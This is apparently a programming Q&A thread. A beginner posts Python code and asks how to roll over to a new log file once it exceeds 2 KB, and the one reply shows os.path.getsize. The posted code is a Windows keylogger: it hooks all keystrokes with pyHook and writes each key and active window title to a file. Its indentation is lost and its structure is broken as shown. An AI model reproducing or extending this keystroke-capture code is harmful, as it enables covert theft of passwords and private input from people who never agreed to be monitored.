Reputation: 21
i want to check if the file in which i am writing the keys is more than 2Kb . If it is more than 2KB then i need to make another file and stop writing in this one. I am a beginer in python please help me this. Please indicate where can i use the code for checking if file is more than 2kb.
import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Hope you can help
Upvotes: 1
Views: 361
Reputation: 93
you could use .getsize
.
>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L
Upvotes: 1